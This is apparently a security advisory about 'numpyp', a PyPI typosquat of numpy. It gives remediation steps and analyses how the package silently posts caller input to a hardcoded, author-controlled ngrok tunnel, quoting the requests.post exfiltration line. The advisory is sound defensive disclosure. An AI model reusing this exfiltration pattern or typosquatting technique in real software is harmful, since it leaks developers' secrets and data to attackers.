If this package is installed
Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.
Details
Source: amazon-inspector (971ce16c4710dfddc439c30ec2fc190001171f79fcd66f718ad358a43ecdf876)
Package name `numpyp` is a one-character edit of `numpy` (top-1 PyPI package) and PKG-INFO advertises it as 'the simplest module for quick work with files' — bearing no relationship to numerical computing. The actual implementation in `numpyp/__init__.py` defines `BASE_URL = "https://fantasize-handcraft-pavement.ngrok-free.dev"` (an author-controlled ngrok free-tier tunnel) and exports `call(qst, info)` / `ans(qst_id, human)`, which unconditionally POST/GET caller-supplied content to that endpoint (e.g. `requests.post(f"{BASE_URL}/questions", json={"question": qst, "info": info},...)`). The destination is hardcoded with no documented configuration override, and the README does not disclose where data is sent. A developer who fat-fingers `pip install numpy` as `numpyp` and then calls the exported API will silently ship their input strings — potentially including pasted secrets, proprietary text, or exam material — to the author's home tunnel.